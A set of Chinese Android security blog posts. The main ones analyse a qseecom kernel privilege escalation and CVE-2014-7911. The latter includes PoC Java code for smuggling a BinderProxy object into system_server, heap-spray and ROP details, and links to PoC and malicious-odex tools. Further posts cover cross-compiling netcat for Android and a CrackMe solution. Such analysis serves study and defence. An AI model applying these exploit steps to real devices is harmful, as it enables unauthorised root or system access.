首先来看如何在用户态触发req->cmd_req_buf函数,搜索__qseecom_update_cmd_buf:
继续找qseecom_send_modfd_cmd的上层调用:
到这里就可以知道,命令码为QSEECOM_IOCTL_SEND_MODFD_CMD_REQ的ioctl函数调用,就可以触发qseecom驱动层__qseecom_update_cmd_buf函数。
让我们考虑如何构造用户态参数的问题,先贴出要用到的结构体:
回到__qseecom_update_cmd_buf函数:
要继续触发后面的逻辑,我们需要构造req->ifd_data[i].fd参数,以保证ihandle的值不为空。根据上面结构体qseecom_ion_fd_info的注释,需要分配一个ion内存管理器的句柄,通过网上资料的查询,代码如下:
所以ifd_data_fd构造如下:
接着往下看__qseecom_update_cmd_buf函数:
首先需要将物理地址泄露回用户态,参数构造如下:
接着通过ioctl触发__qseecom_update_cmd_buf函数调用:
即abuse_buff[0]存放了内核态泄露出的物理地址0x3*******。接下来构造参数以覆盖fsync函数指针:
继续通过ioctl触发__qseecom_update_cmd_buf函数调用:
这样fsync函数指针地址即被替换为了0x3*******,我们只需要在0x3*******地址布置shellcode即可:
这里注意的是我们不能使用b系列的跳转指令,因为b系列指令是基于PC的相对偏移的。
最后访问/dev/ptmx,调用sync,shellcode将以内核权限执行,执行提权代码后,完成root。
qseecom设备需要system权限才能访问,所以我们首先需要提权到system才能利用该漏洞,比如CVE-2014-7911。
retme大神早就提供了POC,这篇博客也是分析了retme的POC和报告才有的。我在retme的POC的基础上精简了一些代码,需要的和我联系。
CVE-2014-7911是由Jann Horn发现的一个有关安卓的提权漏洞,该漏洞允许恶意应用从普通应用权限提权到system用户执行命令。在Android5.0之前的版本中,java.io.ObjectInputStream没有检查要反序列化的对象是否真的可以序列化,攻击者利用此漏洞,构造恶意对象可在sysem_server进程中执行任意代码并获取提升的权限。CVE-2014-7911是一个非常有学习价值的漏洞,虽然由于Android的碎片化,构造的ROP链很难做到通用,但是其涉及的知识非常广泛,包括Java序列化与反序列化、Dalvik GC机制、Android binder机制、heap spary、ROP、stack pivot。
由于该漏洞的原理与利用涉及了很多方面,这里不一一介绍,贴出一些链接:
Java序列化与反序列化:
http://www.cnblogs.com/xdp-gacl/p/3777987.html
http://developer.51cto.com/art/201202/317181.htm
Android binder机制:
http://blog.csdn.net/luoshengyang/article/details/6618363
heap spray:
http://blog.csdn.net/magictong/article/details/7391397
ROP:
http://drops.wooyun.org/papers/4077
http://blog.csdn.net/l173864930/article/details/14000343
Android版本:Android4.4.4_r1
手机:Nexus5
IDA 6.5
由于网上已有分析文献加上本人文笔有限,本文将根据参考文献进行更加细致的分析。
为了方便阅读,下面我贴上部分参考文献,并补充我在分析时对漏洞的理解:
在Jann Horm给出的漏洞信息与POC中(1],向system_server传入的是不可序列化的android.os.BinderProxy对象实例,其成员变量在反序列化时发生类型混淆,由于BinderProxy的finalize方法包含本地代码,于是在本地代码执行时将成员变量强制转换为指针,注意到成员变量是攻击者可控的,也就意味着攻击者可以控制该指针,使其指向攻击者可控的地址空间,最终获得在system_server(uid=1000)中执行代码的权限。下面主要结合POC对漏洞进行详细分析,由于笔者之前对相关的Java序列化、Android binder跨进程通信和native代码都不太熟悉,主要根据参考文献进行翻译、整理和理解,不当之处,还请读者海涵。
Java层分析
第一步,构建一可序列化的恶意对象
创建AAdroid.os.BinderProxy对象,并将其放入Bundle数据中:
1234 Bundle bundle = new Bundle();AAdroid.os.BinderProxy evilProxy = new AAdroid.os.BinderProxy();bundle.putSerializable("eatthis", evilProxy);>注意AAdroid.os.BinderProxy是可序列化的,其成员变量mOrgue就是随后用于改变程序执行流程的指针。随后该可序列化的AAdroid.os.BinderProxy将在传入system_server之间修改为不可序列化的Android.os.BinderProxy对象:
1234567 public class BinderProxy implements Serializable {private static final long serialVersionUID = 0;//public long mObject = 0x1337beef;//public long mOrgue = 0x1337beef;//注意:此处要根据待测的Android版本号设置,在我们待测试的Android 4.4.4中,BinderProxy的这两个Field为private int,这样才能保证POC访问的地址为我们设置的值0x1337beefprivate int mObject = 0x1337beef;private int mOrgue = 0x1337beef;
AAdroid.os.BinderProxy可序列化的原因是我们需要首先将恶意对象序列化并存入bundle对象中,才能将其传递给system_server进程。
mOrgue和mObject的类型可以查看源码(frameworks/base/core/java/android/os/Binder.java)。
第二步,准备传入system_server的数据
主要通过一系列java的反射机制,获得android.os.IUserManager.Stub和andrioid.os.IUserManager.Stub.Proxy的Class对象,最终获得跨进程调用system_server的IBinder接口mRemote,以及调用UserManager.setApplicationRestriction函数的TRANSACTION_setApplicationRestriction,为与system_server的跨进程Binder通信作准备:
123456789101112131415161718192021222324 Class stubClass = null;for (Class inner : Class.forName("android.os.IUserManager").getDeclaredClasses()) {if (inner.getCanonicalName().equals("android.os.IUserManager.Stub")) {stubClass = inner;}}Field TRANSACTION_setApplicationRestrictionsField = stubClass.getDeclaredField("TRANSACTION_setApplicationRestrictions");TRANSACTION_setApplicationRestrictionsField.setAccessible(true);TRANSACTION_setApplicationRestrictions = TRANSACTION_setApplicationRestrictionsField.getInt(null);Class proxyClass = null;for (Class inner : stubClass.getDeclaredClasses()) {if (inner.getCanonicalName().equals("android.os.IUserManager.Stub.Proxy")) {proxyClass = inner;}}UserManager userManager = (UserManager) context.getSystemService(Context.USER_SERVICE);Field mServiceField = UserManager.class.getDeclaredField("mService");mServiceField.setAccessible(true);Object mService = mServiceField.get(userManager);Field mRemoteField = proxyClass.getDeclaredField("mRemote");mRemoteField.setAccessible(true);mRemote = (IBinder) mRemoteField.get(mService);UserHandle userHandle = android.os.Process.myUserHandle();setApplicationRestrictions(context.getPackageName(), bundle, userHandle.hashCode());
这里有一个很基础的问题,为什么我们一定要把这个对象传递进system_server进程呢?system_server进程拥有system权限,我们通过将对象传递给system_server,利用一些技巧达到提权到system的目的。
这段连续的java反射涉及到了Android binder进程间通讯的知识,有兴趣的可以下来深入研究。
第三步,向system_server传入不可序列化的Bundle参数
调用setApplicationRestrictions这个函数,传入之前打包evilproxy的Bundle数据作为参数。将该函数与Android源码中的setApplicationRestrication函数对比,主要的区别在于将传入的Bundle数据进行了修改,将之前可序列化的AAdroid.os.BinderProxy对象修改为了不可序列化的Android.os.BinderProxy对象,这样就将不可序列化的Bundles数据,通过Binder跨进程调用,传入system_server的Android.os.UserManager.setApplicationRestrictions方法:
12345678910111213141516171819202122232425262728 private void setApplicationRestrictions(java.lang.String packageName, android.os.Bundle restrictions, int userHandle) throws android.os.RemoteException {android.os.Parcel _data = android.os.Parcel.obtain();android.os.Parcel _reply = android.os.Parcel.obtain();try {_data.writeInterfaceToken(DESCRIPTOR);_data.writeString(packageName);_data.writeInt(1);restrictions.writeToParcel(_data, 0);_data.writeInt(userHandle);byte[] data = _data.marshall();for (int i=0; true; i++) {if (data[i] == 'A' && data[i+1] == 'A' && data[i+2] == 'd' && data[i+3] == 'r') {data[i] = 'a';data[i+1] = 'n';break;}}_data.recycle();_data = Parcel.obtain();_data.unmarshall(data, 0, data.length);mRemote.transact(TRANSACTION_setApplicationRestrictions, _data, _reply, 0);_reply.readException();}finally {_reply.recycle();_data.recycle();}}
事实上,我们并非必须使用Android.os.UserManager.setApplicationRestrictions方法向system_server传递对象,我们需要的是找到一个途径将序列化后的对象传递进system_server进程,并且system_server会将该对象反序列化,只要满足这样的条件均可。
还有一个问题:为什么我们要修改AAdroid.os.BinderProxy为Android.os.BinderProxy?这个问题我将会在后面解释。
安装POC,启动Activity后将其最小化,触发GC,引起Android系统重启,从Logcat日志中可以看到,system_server执行到了之前设置的BinderProxy对象的0x1337beef这个值,访问了不该访问的内存,导致异常。错误信号、寄存器快照和调用栈如下:
12345678910111213141516171819202122 05-14 18:30:55.974: I/DEBUG(3695): Build fingerprint: 'google/hammerhead/hammerhead:4.4.4/KTU84P/1227136:user/release-keys'05-14 18:30:55.974: I/DEBUG(3695): Revision: '11'05-14 18:30:55.974: I/DEBUG(3695): pid: 1552, tid: 1560, name: FinalizerDaemon >>> system_server <<<05-14 18:30:55.974: I/DEBUG(3695): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 1337bef305-14 18:30:56.064: I/DEBUG(3695): r0 1337beef r1 401b89d9 r2 746fdad8 r3 6d4fbdc405-14 18:30:56.064: I/DEBUG(3695): r4 401b89d9 r5 1337beef r6 713e3f68 r7 1337beef05-14 18:30:56.064: I/DEBUG(3695): r8 1337beef r9 74709f68 sl 746fdae8 fp 74aacb2405-14 18:30:56.064: I/DEBUG(3695): ip 401f08a4 sp 74aacae8 lr 401b7981 pc 40105176 cpsr 200d0030...I/DEBUG ( 241): backtrace:I/DEBUG ( 241): #00 pc 0000d176 /system/lib/libutils.so (android::RefBase::decStrong(void const*) const+3)I/DEBUG ( 241): #01 pc 0007097d /system/lib/libandroid_runtime.soI/DEBUG ( 241): #02 pc 0001dbcc /system/lib/libdvm.so (dvmPlatformInvoke+112)I/DEBUG ( 241): #03 pc 0004e123 /system/lib/libdvm.so (dvmCallJNIMethod(unsigned int const*, JValue*, Method const*, Thread*)+398)I/DEBUG ( 241): #04 pc 00026fe0 /system/lib/libdvm.soI/DEBUG ( 241): #05 pc 0002dfa0 /system/lib/libdvm.so (dvmMterpStd(Thread*)+76)I/DEBUG ( 241): #06 pc 0002b638 /system/lib/libdvm.so (dvmInterpret(Thread*, Method const*, JValue*)+184)I/DEBUG ( 241): #07 pc 0006057d /system/lib/libdvm.so (dvmCallMethodV(Thread*, Method const*, Object*, bool, JValue*, std::__va_list)+336)I/DEBUG ( 241): #08 pc 000605a1 /system/lib/libdvm.so (dvmCallMethod(Thread*, Method const*, Object*, JValue*, ...)+20)I/DEBUG ( 241): #09 pc 00055287 /system/lib/libdvm.soI/DEBUG ( 241): #10 pc 0000d170 /system/lib/libc.so (__thread_entry+72)I/DEBUG ( 241): #11 pc 0000d308 /system/lib/libc.so (pthread_create+240)
这里有个关键问题:
为什么要触发GC,触发GC后发生了什么导致漏洞的触发?同样我会在下面解释。
Native层分析
假如BinderProxy可以被序列化,那么在反序列化时,其field引用的对象也会被反序列化;但在POC中ObjectInputStream反序列化的BinderProxy对象实例不可序列化,这样在ObjectInputStream反序列化BinderProxy对象时,发生了类型混淆(type confusion),其field被当做随后由Native代码处理的指针。这个filed就是之前设置的0x1337beef,具体而言,就是mOrgue这个变量。
android.os.BinderProxy的finalize方法调用native代码,将mOrgue处理为指针:
12345678 protected void finalize() throws Throwable {try {destroy();} finally {super.finalize();}}
不熟悉Java GC机制的不会明白此处finalize方法和我们的漏洞利用有什么关系,这里我将简单介绍一下Java对象的生命周期与垃圾回收(从网上摘抄,出处不详):
创建对象的方式:
垃圾回收:
对象的可触及性:
为什么要触发GC,触发GC后发生了什么导致漏洞的触发?
答:当system_server对传进来的对象进行反序列化后就创建了对象,启动Activity后将其最小化,触发GC,注意该对象并没有任何引用,GC清理时就会调用该对象的finalize方法,即调用了Android.os.BinderProxy的finalize方法。
其中,destroy为native方法:
1 private native final void destroy();cpp代码:
12345678910111213 static void android_os_BinderProxy_destroy(JNIEnv* env, jobject obj){IBinder* b = (IBinder*)env->GetIntField(obj, gBinderProxyOffsets.mObject);DeathRecipientList* drl = (DeathRecipientList*)env->GetIntField(obj, gBinderProxyOffsets.mOrgue);LOGDEATH("Destroying BinderProxy %p: binder=%p drl=%p\n", obj, b, drl);env->SetIntField(obj, gBinderProxyOffsets.mObject, 0);env->SetIntField(obj, gBinderProxyOffsets.mOrgue, 0);drl->decStrong((void*)javaObjectForIBinder);b->decStrong((void*)javaObjectForIBinder);IPCThreadState::self()->flushCommands();}最终native代码调用上述decStrong方法,从
12 DeathRecipientList* drl = (DeathRecipientList*)env->GetIntField(obj, gBinderProxyOffsets.mOrgue);这一行可以看出,drl就是mOrgue,可以被攻击者控制。 所以,drl->decStrong方法调用使用的this指针可由攻击者控制。
gBinderProxyOffsets.mObject和gBinderProxyOffsets.mOrgue
在android_util_Binder.cpp中的int_register_android_os_BinderProxy方法完成初始化:
12 gBinderProxyOffsets.mObject = env->GetFieldID(clazz, "mObject", "I");gBinderProxyOffsets.mOrgue = env->GetFieldID(clazz, "mOrgue", "I");
即是AAdroid.os.BinderProxy中的变量mObject和mOrgue。
为什么我们要修改AAdroid.os.BinderProxy以及为什么要修改为Android.os.BinderProxy?
答:注意我们仅仅是向system_server进程传递了一个恶意对象实例,此时没有任何该对象的方法或者数据被使用,然而由于Java GC机制,当该对象被清理时,GC将调用他的finalize方法。然后如果只有如此,我们仍然无法利用,因为finalize方法仍然是不可控的,我们目前唯一能控制的是该恶意对象,回到我们选择的Android.os.BinderProxy,它在其finalize方法中将变量mObject和mOrgue强制转换为函数指针,并调用。而注意的是,我们可以控制mObject和mOrgue的值,这样就相当于我们可以向system_server传递一个任意值的函数指针this,并在该对象实例被GC时有机会获得控制权。
再看一下RefBase类中的decStrong方法
12345678910111213141516 void RefBase::decStrong(const void* id) const{weakref_impl* const refs = mRefs;refs->removeStrongRef(id);const int32_t c = android_atomic_dec(&refs->mStrong);ALOGD("decStrong of %p from %p: cnt=%d\n", this, id, c);ALOG_ASSERT(c >= 1, "decStrong() called on %p too many times", refs);if (c == 1) {refs->mBase->onLastStrongRef(id);if ((refs->mFlags&OBJECT_LIFETIME_MASK) == OBJECT_LIFETIME_STRONG) == OBJECT_LIFETIME_STRONG) {delete this;}refs->decWeak(id);}注意上述refs->mBase->onLastStrongRef(id)最终导致代码执行。
我们上面提到我们传入的mOrgue的值,即是drl->decStrong方法所在类DeathRecipientList的this指针。汇编代码分析
注意我这里添加了一张汇编图示,我导入的是没有strip过的libutils.so,这样IDA中解释出的信息更加丰富。
下面看一下发生异常时最后调用的RefBase:decStrong的汇编代码。将libutils.so拖入IDA Pro,查看Android::RefBase::decStrong函数。分析时需要牢记的是,攻击者能够控制r0(this指针):
首先对r0的使用,是在decStrong的前下面三行代码之中:
123 weakref_impl* const refs = mRefs;refs->removeStrongRef(id);const int32_t c = android_atomic_dec(&refs->mStrong);对应的汇编代码如下:
1234 ldr r4, [r0, #4] # r0为this指针,r4为mRefsmov r6, r1mov r0, r4blx <android_atomic_dec ()>首先,mRefs被加载到r4。(r0是drl的this指针,mRefs是虚函数表之后的第一个私有变量,因此mRefs为r0+4所指向的内容)
然后,android_atomic_dec函数被调用,传入参数&refs->mStrong。
1 const int32_t c = android_atomic_dec(&refs->mStrong);这被翻译为:
12 mov r0, r4 # r4指向mStrong,r0指向mStrongblx <android_atomic_dec ()>作为函数参数,上述r0就是&refs->mStrong。注意,mStrong是refs(类weakref_impl)的第一个成员变量,由于weakref_impl没有虚函数,所以没有虚函数表,因此mStrong就是r4所指向的内容。
另外,refs->removeStrongRef(id);这一行并没有出现在汇编代码中,因为这个函数为空实现,编译器进行了优化。如下所示:
1 void removeStrongRef(const void* /*id*/) { }在调用android_atomic_dec后,出现的是以下代码:
123 if (c == 1) {refs->mBase->onLastStrongRef(id);}对应的汇编代码
1234567 cmp r0, #1 # r0 = refs->mStrongbne.n d1ealdr r0, [r4, #8] # r4 = &refs->mStrongmov r1, r6ldr r3, [r0, #0]ldr r2, [r3, #12]blx r2注意,android_atomic_dec函数执行强引用计数减1,返回的是执行减1操作之前所指定的内存地址存放的值。为了调用refs->mBase->onLastStrongRef(id)(即:blx r2),攻击者需要使refs->mStrong为1。
至此,可以看出攻击者为了实现代码执行,需要满足如下约束条件:
- drl(就是mOrgue,第一个可控的指针,在进入decStrong函数时的r0)必须指向可读的内存区域;
- refs->mStrong必须为1;
- refs->mBase->onLastStrongRef(id)需要执行成功。并最终指向可执行的内存区域。即满足:
12345 if(*(*(mOrgue+4)) == 1) {refs = *(mOrgue+4);r2 = *(*(*(refs+8))+12);blx r2 ; <—— controlled;}除此以外,攻击者还必须克服Android中的漏洞缓解技术——ASLR和DEP。
我们可以看到这里使用了三层指针的跳转,最终才拿到控制权。mOrgue需要指向攻击者可控的内存,怎样做到?下面我将结合参考文献以及retme7提供的POC进行翻译和理解。
Android有做地址空间随机化ASLR,但是所有的app都是fork自zygote进程,基础模块的内存布局全部是相同的,也就是说我们可以简单的绕过system_server的ASLR。
Dalvik-heap是储存Java对象实例的一片由Dalvik虚拟机管理的内存区,它的内存布局也是来自zygote进程,在所有app进程中都是相同的。
system_server进程向android设备提供绝大部分的系统服务,通过这些服务的一些特定方法我们可以向system_server传输一个String,同时system_server把这个String存储在Dalvik-heap中不被销毁(因为我们需要使用注入代码段对这片内存区域进行填充)。
我屏蔽了retme7的POC中的两行代码,经过测试并没有影响。
首先,看一下registerReceiver方法的声明:
public Intent registerReceiver(BroadcastReceiver receiver, IntentFilter filter, String broadcastPermission, Handler scheduler)
其中broadcastPermission参数为一个String类型,方法调用完成后,String buffer将常驻system_server内存空间,并且不会被销毁。接下来,将结合Android4.4.4_r1源码简单分析下registerReceiver方法是如何将String传递进并常驻在system_server进程的:ContextWrapper.registerReceiver->ContextImpl.registerReceiver->ContextImpl.registerReceiverInternal->ActivityManagerProxy.registerReceiver->ActivityManagerService.registerReceiver
注意ActivityManagerProxy.registerReceiver方法里通过Binder驱动程序就进入到了ActivityManagerService中的registerReceiver方法中,也就是进入到了system_server进程里。
贴出ActivityManagerService.registerReceiver方法的关键部分:
通过
就将传递进的String buffer即此处的permission常驻在system_server内存空间。
最后反复调用heapSpary,完成Dalvik-heap spary:
方便请见,再次贴出实现代码执行的约束条件:
完成system_server进程的堆喷射后,我们遇到另一个问题-虽然我们的spray chunk充满了system_server内存空间,mOrgue也确实指向可读的spray chunk,然而我们上面提到由于此漏洞的特殊型,需要控制其三重指针的调用,所以我们还需要构造特殊的spray chunk,使得mOrgue每次指向相同的偏移。
下面是构造后的spray chunk的结构图(图来自参考文献):
简单解释一下:
STATIC_ADDRESS是我们传递进来的mOrgue
GADGET_CHUNK_OFFSET是GADGET_CHUNK在spray chunk的偏移
STATIC_ADDRESS = Beginning_of_spray + 4 * N
[STATIC_ADDRESS] = STATIC_ADDRESS + GADGET_CHUNK_OFFSET - 4 * N
= Beginning_of_spray + 4 * N + GADGET_CHUNK_OFFSET - 4 * N
= Beginning_of_spray + GADGET_CHUNK_OFFSET
= GADGET_CHUNK_ADDR
这样只要确保STATIC_ADDRESS每次都位于Relative Addresses Chunk区域(spray chunk中Relative Addresses Chunk的比例远大于Gadget Chunk),就可保证STATIC_ADDRESS每次都指向GADGET_CHUNK_ADDR。
重新回头分析汇编代码:
为了控制后续程序流程,r0的值必须为1
ldr r4, [r0, #4] --> r4=[STATIC_ADDRESS + 4] --> r4=GADGET_CHUNK_ADDR - 4
[r4]的值为1,即[GADGET_CHUNK_ADDR - 4]的值为1。cmp比较成立,进入下面的汇编代码:
为了方便之后的布局,设置[GADGET_CHUNK_ADDR + 4] =STATIC_ADDRESS + 12,则:r3=[STATIC_ADDRESS + 12]
r3=GADGET_CHUNK_ADDR - 12
接着往下看:
这样,我们就完成了spary chunk的布局,Spray addresses manipulation完毕
由于DEP(Data Execution Prevention)的原因,Dalvik堆上的内存不能用来执行。需要通过ROP技术绕过DEP,执行代码(我们选择执行system函数,然后通过system函数调用外部程序)。
这里首先用到了一个寻找ROP链的工具:
https://github.com/JonathanSalwan/ROPgadget
注意:
只用基础模块:libc libandroid_runtime …(会被zygote加载的模块,保证内存布局的一致)
可以把arm code当做thumb code来搜索,增加更多的可能
为了控制R0寄存器使其指向system函数的参数(命令字符串),我们选择用stack pivot(将控制的堆内存交换栈上,即复写SP)技术将字符串压入堆栈,然后通过pop将字符串地址赋给R0。
第一个gadget:
通过r1跳转到第二个gadget:
这里我提前将system函数的地址写入[GADGET_CHUNK_ADDR + 12]。
有一个问题,为什么要通过第一个gadget的过渡,才完成stack pivot?
答:事实上是不得已而为之,我用ROPgadget扫描了整个/system/lib目录下的基础模块的”mov sp, r”,只发现有mov sp, r7,所以只能采取这种过度的方式。
继续来到第三个gadget:
如此,我们将命令字符串放在GADGET_CHUNK_ADDR + 24开始的空间就可以了,最终完成了对CVE-2014-7911漏洞的system权限提权,并执行任意代码。
虽然retme7大神早就发布了POC,还是把我修改整理过的POC传到github上,就当保存一下。(只适用nexus5 Android4.4.4_r1)
https://github.com/ele7enxxh/CVE-2014-7911
昨天下午360安全播报把我吓了一跳,这个洞的描述简直碉堡:
6月29日,360手机安全研究团队 vulpecker team,向补天漏洞响应平台提交了其发现的安卓app新型通用安全漏洞“寄生兽”,这个漏洞影响市面上数以千万的APP,众多流行APP也包括在内,影响范围包括百度、腾讯、阿里等众多厂商的移动产品。
利用该漏洞的攻击者可以直接在用户手机中植入木马,盗取用户的短信照片等个人隐私,盗取银行、支付宝等账号密码等。目前补天已经将相关详情通知给各大安全应急响应中心,并敦请厂商收到详情及时自查,如果自家app存在相关安全问题,需及时修复。
再来看一下补天的漏洞描述:
360 vulpecker team发现了安卓app一种新型的通用安全漏洞,这个漏洞影响市面上众多流行APP的远程代码执行漏洞,影响范围包括百度、腾讯、阿里等众多厂商的移动产品,利用该漏洞的攻击者可以直接在用户手机中植入木马,盗取用户的短信照片等个人隐私,盗取银行、支付宝等账号密码等。
提取下关键信息,漏洞影响千万APP,包括百度、腾讯、阿里的产品,通用安全漏洞,远程代码执行漏洞。
果真如此的话,这个漏洞简直犀利。
今天早上看到了部分细节:
http://www.aqniu.com/threat-alert/8371.html
以及下午360自己在乌云公布的详细分析:
http://drops.wooyun.org/papers/6910
简单描述一下漏洞细节,APP在调用DexClassLoader函数动态加载插件时,如果函数第二个参数指定的odex文件存在,则会再一个简单的弱校验通过后直接加载该odex。
然而该漏洞是否向360描述的那般强大呢?接下来我将通过360提出的4种攻击场景介绍漏洞的局限:
1)三星输入法远程命令执行漏洞
CVE-2014-2865漏洞描述:
在能够劫持你的网络前提下,攻击者能够利用三星自带输入法更新机制进行远程代码执行并且具有 system 权限。Swift输入法预装在三星手机中并且不能卸载和禁用.即使修改了默认输入法,这个漏洞也是可以利用的。
由于Swift输入法具有system权限,可以直接替换/data/dalvik-cache目录下任意app的缓存文件。然而这个漏洞利用有着较大的局限性:
2)利用zip解压缩漏洞覆盖缓存代码
app对zip文件进行解压遍历文件时,会调用ZipEntry.getName()方法,这个方法在官方文档描述了一个安全警告:
链接:http://developer.android.com/reference/java/util/zip/ZipEntry.html#getName() Gets the name of this ZipEntry
Security note: Entry names can represent relative paths. foo/../bar or ../bar/baz ,
for example. If the entry name is being used to construct a filename or as a path
component, it must be validated or sanitized to ensure that files are not written outside
of the intended destination directory.
那么实际上,这是由于app开发者无视了这个安全警告,在调用ZipEntry.getName()方法后,没有对”../“跳转符做过滤,导致了目录遍历,使得app在解压恶意zip压缩包时以本app的权限覆盖了缓存文件。
局限性:
3)利用adb backup覆盖缓存代码
通过adb连接手机,使用adb backup备份app私有数据,对odex进行篡改后,使用adb restore恢复数据完成odex的替换。
局限性:
4)其他可能的APP数据读写
以root权限直接替换任意app的缓存文件。
局限性:
实际上大部分app都会将插件的缓存文件存放在私有目录下,由于Android的沙箱机制,攻击者要利用这个漏洞首先需要突破沙箱保护。可以看到,360提出的4种攻击场景全部利用了其他的漏洞或者app开发者的粗心大意,从而突破了沙箱保护。
另一方面,由于odex文件与VM版本相关,同一个odex无法在多个设备中正常运行,攻击者需要对识别不同的设备并适配不同的恶意odex,漏洞利用成本进一步加大。
总结一下漏洞利用成功的先决条件:
通过上面的分析,“寄生兽”漏洞虽然具有一定的影响面,然而这个漏洞的利用需要另外一个漏洞的帮助(用来突破沙箱保护),远远没有达到360对其描述的危害性。
引用网上(知乎id:shotgun)对这个漏洞的评价:
这个漏洞的利用需要另外一个漏洞的帮助,不知道为什么我就想起了“太阳能电筒”。
简单来说,这个漏洞必须要有能访问到私有目录的权限才能运行,所以需要一个能提供类似权限的其他漏洞,比如之前的三星虚拟键盘漏洞。“这是无需电池的太阳能电筒。”
“那没有光呢?”
“它绝对不会亮!”
“有没有可能没有光也亮呢?”
“你可以用另外一只电筒照着它!”
“哦……”
如何防范?
从用户角度来看:
如何修复?
这里提供一个修改odex文件crc和modWhen的代码:
https://github.com/ele7enxxh/FakeOdex
可用来生成一个恶意的odex,绕过弱检测。
PS:本人水平有限,上面的理解如果有错误,还请海涵。
设置环境变量:
export USE_CCACHE=1
设置缓冲目录(默认为当前用户目录下的.ccahe):
export CCACHE_DIR=your path
在源码根目录下运行,一般为50G-100G:
prebuilts/misc/linux-x86/ccache/ccache -M 50G
搞定!
环境
OS:Ubuntu14.04 64
首先到这里下载busybox源码,这里我下载的版本为1.23.1。
搭建交叉编译环境:apt-get install gcc-arm-linux-gnueabi libc-dev-armel-cross
在busybox目录下执行:make menuconfig
进入图形选择模式,必填的选项为:
保存设置退出menuconfig,执行:make -j8
成功后会在当前目录生产busybox,通过busybox nc即可调用netcat。
由于不能直接从busybox单独的提取出netcat命令,所以使用郑郭busybox稍显臃肿(strip版本大概为2m),所以我又决定直接对netcat源码进行交叉编译。
首先到这里下载netcat源码这里我下载的版本是0.7.1。
这里可以采用两种编译手段:
apt-get install gcc-arm-linux-gnueabi libc-dev-armel-cross
./configure --host=arm-linux CC=arm-linux-gnueabi-gcc CFLAGS="-static -O2"
--prefix= /home/auo/Temp/netcat-0.7.1/out
make -j8
make install
arm-linux-gnueabi-strip -s '/home/auo/Temp/netcat-0.7.1/out/bin/netcat'
./configure --host=arm-linux CC=arm-linux-androideabi-gcc
CFLAGS="-static --sysroot=/home/auo/Android/android-ndk-r10d/platforms/android-21/arch-arm -O2"
--prefix=/home/auo/Temp/netcat-0.7.1/out
make -j8
make install
arm-linux-androideabi-strip -s '/home/auo/Temp/netcat-0.7.1/out/bin/netcat'
由于一次奇怪的需求,开始研究AndroidManifest的二进制格式,继而产生了直接修改AndroidManifest二进制格式的想法。虽然代码写的乱七八糟,不过好歹也是劳动成果。
在此鸣谢:MindMac对其格式的详细分析:http://bbs.pediy.com/showthread.php?t=194206
完整代码我已经上传到github上了:https://github.com/ele7enxxh/AmBinaryEditor
vs2012,gcc均能成功编译,有相同需求的可以去下一份,下面介绍一下工具的功能和用法示例:
目前功能:
新增、修改、删除指定名字的tag或者该tag的attr
用法示例:
增加一个tag(-d选项指定新增tag的起始位置,如1表示添加在manifest节点之后;-c选项指定新增tag经过的节点数,以此确定新增tag的结尾位置):
editor tag --add activity -d 1 -c 0 -i input.xml -o output.xml
改一个tag的名字(-d选项指定要修改的tag是从manifest节点开始出现的第几个同名tag,-n选项指定tag的新名字):
ameditor tag --modify application -d 1 -n test -i input.xml -o output.xml
删除指定tag(-d选项指定要修改的tag是从manifest节点开始出现的第几个同名tag):
ameditor tag --remove application -d 1 -i input.xml -o output.xml
增加一个attr(-d选项指定要修改的tag是从manifest节点开始出现的第几个同名tag,-n选项指定attr的名字,-t选项指定attr的类型(后面会有更多介绍)-v选项指定attr的值,-r选项指定attr的属性ID(可选)):
ameditor attr --add application -d 1 -n name -t 3 -v test -i input.xml -o output.xml
修改一个attr(-n选项指定需要修改的attr,其他同上):
ameditor attr -modify application -d 1 -n name -t 3 -v new -i input.xml -o output.xml
删除一个attr(-n选项指定需要删除的attr,其他同上):
ameditor attr -remove application -d 1 -n name -i input.xml -o output.xml
attr -t选项说明:
目前暂不支持ATTR_DIMENSION和ATTR_FRACTION类型。
2015.6.25更新
attr -r选项说明:
当你所添加的attr的name在原axml中并不存在时,必须添加-r选项指定该name的resourceid,具体的resourceid在对应 Android 源码中/frameworks/base/core/res/res/values/public.xml中可以查到,另外此处需要输入十进制数。
链接:http://msc.pediy.com/timu.htm
平台:Android
类型:CrackMe
利用JEB反编译APK后发现只有一个继承Application类的StubApplication类,该类加载了动态库。很明显,dex加壳了,那么在SO里肯定回解壳的,不过SO有反调试和混淆,分析起来比较困难(好吧,至少我不想分析了)。
我注意到在lib/armeabi目录中的libmobisecy.so实际上是一个zip文件,解压后得到一个classes.dex文件,拖到JEB里:
所有的函数实体都被替换成了throw new RuntimeException();注意到的是除了函数实体,其他地方都是正确的,用010的dex模板解析也没有报错,那么我们只需要将真正的函数实体恢复就可以了,也就是修复codeOff,修复codeOff对应的字节码。(对dex结构不熟悉的童鞋,面壁去吧)
那么问题来了,怎么不通过调试SO就得到codeOff和其对应的字节码呢?O(∩_∩)O比忘了Android是开源的,直接修改源码,从底层那里搞出来!
还有一个问题,什么时候才知道该APK已经解壳了呢?这个就需要了解这种加壳方式的原理了:
戳这里:http://blogs.360.cn/blog/proxydelegate-application/
再戳这里:http://blog.csdn.net/androidsecurity/article/details/8809542
通过上面两篇文章我们可以知道(你不知道我也没办法),最后必定是要通过调用Application.onCreate来启动真正的逻辑的。也就是说当执行Application.onCreate时,codeOff已经修正完毕。好了现在我们开始改源码,在dalvik/vm/interp/Stack.cpp文件的dvmCallMethodV函数(因为这个函数调用了onCreate函数,函数原型:void dvmCallMethodV(Thread self, const Method method, Object obj, bool fromJni, JValue pResult, va_list args)),添加自己的逻辑:
这里面涉及到dalvik源码里的很多结构体,请自行研究。我这里只是打印出了codeOff,接下来dump和修复的工作就不再详述了,关键是思路!(ps:我的办法不是很优雅,应该有更好的思路)
经过上一步骤,得到了修复过好的dex,原以为这样就结束了,结果又遇到一个问题,我们先看jeb反编译出的几个关键代码吧:
将输入作为map的key,得到对应的value:
前两个字符的hashCode等于3618且字符ascii值和为168,这里推出前两个字符为s5:
然后就是读取两个annotation,与后面几位比较,相同则验证成功:
问题就出在最后这个验证,我们之前修复的是codeOff,但是没有修复annotationsOff,怎么办呢?还是改源码,直接让源码帮我们把两个annotation的值打印出来:
在dalvik/vm/reflect/Annotation.cpp的processAnnotationValue函数处添加自己的逻辑:
ALOGD("***processAnnotationValue*** className: %s", clazz->descriptor);
ALOGD("elemObj: %s", dvmCreateCstrFromString((const StringObject *)elemObj));
得到后面的字符为:7e1p
最终密码为:… _____ ____. . ..___ .__.
链接:http://msc.pediy.com/timu.htm
平台:Android
类型:CrackMe
